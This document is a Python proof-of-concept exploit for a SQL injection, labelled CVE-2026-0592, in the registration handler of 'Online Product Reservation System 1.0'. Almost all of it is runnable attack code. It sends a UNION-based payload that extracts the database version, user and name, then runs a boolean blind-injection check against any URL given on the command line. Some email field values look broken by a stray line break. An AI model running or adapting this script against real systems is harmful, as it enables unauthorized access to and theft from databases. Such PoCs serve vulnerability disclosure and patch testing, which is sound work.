import requests
import sys
# CVE-2026-0592 PoC - SQL Injection in Online Product Reservation System 1.0
# Target: /handgunner-administrator/register_code.php
# Vulnerable Parameter: fname, lname, address, city, province, country, zip, tel_no, email, username
def exploit_sqli(target_url):
"""
SQL Injection PoC for CVE-2026-0592
This script demonstrates the vulnerability in user registration handler
"""
# Malicious payload - extracts database version, user, and database name
# Using UNION-based SQL injection
payload = "' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10--"
# Construct the malicious registration data
data = {
'fname': payload,
'lname': 'test',
'address': '123 Test St',
'city': 'TestCity',
'province': 'TestProvince',
'country': 'TestCountry',
'zip': '12345',
'tel_no': '1234567890',
'email': '
[email protected]',
'username': 'testuser'
}
try:
print(f"[*] Sending malicious request to {target_url}")
print(f"[*] Payload: {payload}")
response = requests.post(target_url, data=data, timeout=10)
print(f"[+] Response Status: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
# Check for SQL error messages indicating successful injection
if 'MySQL' in response.text or 'SQL' in response.text or 'error' in response.text.lower():
print("[!] Potential SQL injection detected - check response for database info")
print("[*] Response excerpt:")
print(response.text[:500])
else:
print("[*] No obvious SQL error detected - manual verification needed")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
return True
def blind_sqli_test(target_url):
"""
Blind SQL Injection test - checks if boolean-based blind injection works
"""
# True condition - should return normal response
true_payload = "' AND 1=1--"
# False condition - should return different response
false_payload = "' AND 1=2--"
data_true = {'fname': true_payload, 'lname': 'a', 'address': 'a',
'city': 'a', 'province': 'a', 'country': 'a',
'zip': 'a', 'tel_no': 'a', 'email': '
[email protected]', 'username': 'a'}
data_false = {'fname': false_payload, 'lname': 'a', 'address': 'a',
'city': 'a', 'province': 'a', 'country': 'a',
'zip': 'a', 'tel_no': 'a', 'email': '
[email protected]', 'username': 'a'}
try:
print("[*] Testing blind SQL injection...")
resp_true = requests.post(target_url, data=data_true, timeout=10)
resp_false = requests.post(target_url, data=data_false, timeout=10)
if len(resp_true.text) != len(resp_false.text):
print("[!] Blind SQL injection confirmed!")
return True
else:
print("[*] Blind SQL injection test inconclusive")
return False
except Exception as e:
print(f"[-] Error during blind test: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2026-0592_poc.py <target_url>")
print("Example: python cve-2026-0592_poc.py http://target.com/handgunner-administrator/register_code.php")
sys.exit(1)
target = sys.argv[1]
exploit_sqli(target)
blind_sqli_test(target)